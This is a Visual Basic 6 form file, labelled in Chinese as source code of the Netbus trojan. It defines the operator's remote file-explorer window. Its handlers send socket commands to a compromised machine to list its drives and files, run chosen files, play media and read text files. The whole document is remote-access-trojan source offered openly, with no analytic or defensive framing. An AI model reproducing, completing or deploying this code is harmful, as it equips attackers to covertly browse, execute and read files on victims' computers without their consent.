explorer.frm

大名鼎鼎的Netbus木马源程序.

VERSION 5.00
Begin VB.Form explorer 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Explorer"
   ClientHeight    =   4905
   ClientLeft      =   45
   ClientTop       =   360
   ClientWidth     =   4350
   LinkTopic       =   "Form3"
   MaxButton       =   0   'False
   ScaleHeight     =   4905
   ScaleWidth      =   4350
   Begin VB.ListBox List1 
      Height          =   3375
      ItemData        =   "explorer.frx":0000
      Left            =   120
      List            =   "explorer.frx":0002
      TabIndex        =   8
      Top             =   1080
      Width           =   4095
   End
   Begin VB.CommandButton Command10 
      Caption         =   "Find Drives"
      Height          =   255
      Left            =   2760
      TabIndex        =   7
      Top             =   120
      Width           =   1455
   End
   Begin VB.ComboBox Text4 
      Height          =   315
      ItemData        =   "explorer.frx":0004
      Left            =   120
      List            =   "explorer.frx":000B
      TabIndex        =   6
      Text            =   "C:\"
      Top             =   120
      Width           =   2535
   End
   Begin VB.CommandButton Command20 
      Caption         =   "New Text File"
      Height          =   255
      Left            =   2760
      TabIndex        =   0
      Top             =   720
      Width           =   1455
   End
   Begin VB.CommandButton Command7 
      Caption         =   "Play Media"
      Height          =   255
      Left            =   1440
      TabIndex        =   1
      Top             =   720
      Width           =   1335
   End
   Begin VB.CommandButton Command8 
      Caption         =   "Stop Media"
      Height          =   255
      Left            =   120
      TabIndex        =   2
      Top             =   720
      Width           =   1335
   End
   Begin VB.CommandButton Command11 
      Caption         =   "View Text File"
      Height          =   255
      Left            =   2760
      TabIndex        =   3
      Top             =   480
      Width           =   1455
   End
   Begin VB.CommandButton Command6 
      Caption         =   "Run File"
      Height          =   255
      Left            =   1440
      TabIndex        =   4
      Top             =   480
      Width           =   1335
   End
   Begin VB.CommandButton Command5 
      Caption         =   "View Files"
      Height          =   255
      Left            =   120
      TabIndex        =   5
      Top             =   480
      Width           =   1335
   End
   Begin VB.Label Label2 
      Alignment       =   2  'Center
      Caption         =   "0 files/subdirectories in C:\"
      Height          =   255
      Left            =   120
      TabIndex        =   9
      Top             =   4560
      Width           =   4095
   End
End
Attribute VB_Name = "explorer"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Command20_Click()
Load TextView
TextView.Caption = "New File"
TextView.visible = True
TextView.Text1.text = ""
End Sub

Private Sub Command11_Click()
WSsnd Str(SendTxtFile) & Text4.text
NameOfTFile = Text4.text
End Sub

Private Sub List1_Click()
If List1.List(List1.ListIndex) = ".." Then
    Exit Sub
End If
If Mid(List1.List(List1.ListIndex), 2, 1) = ":" Then
    Text4.text = List1.List(List1.ListIndex)
    Dir = List1.List(List1.ListIndex)
Else
    Text4.text = Dir & List1.List(List1.ListIndex)
End If
End Sub

Private Sub List1_DblClick()
If List1.List(List1.ListIndex) = ".." Then
    For i = Len(Text4.text) - 1 To 1 Step -1
        If Mid(Text4.text, i, 1) = "\" Then
            Text4.text = Mid(Text4.text, 1, i)
            WSsnd Str(Files) & Text4.text
            Exit Sub
        End If
    Next i
    Exit Sub
End If
If Mid(List1.List(List1.ListIndex), 2, 1) = ":" Then
    Text4.text = List1.List(List1.ListIndex)
    Dir = List1.List(List1.ListIndex)
Else
    Text4.text = CurrentDir & List1.List(List1.ListIndex)
End If
WSsnd Str(Files) & Text4.text
End Sub

Private Sub Text4_Change()
Text4.SelStart = Len(Text4.text)
End Sub

Private Sub Text4_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 13 Then
    WSsnd Str(Files) & Text4.text
End If
End Sub

Private Sub Command10_Click()
WSsnd Str(Drive)
End Sub

Private Sub Command5_Click()
WSsnd Str(Files) & Text4.text
End Sub

Private Sub Command6_Click()
WSsnd Str(Runn) & Text4.text
End Sub

Private Sub Command7_Click()
WSsnd Str(PL) & Text4.text
End Sub

Private Sub Command8_Click()
WSsnd Str(STO) & Text4.text
End Sub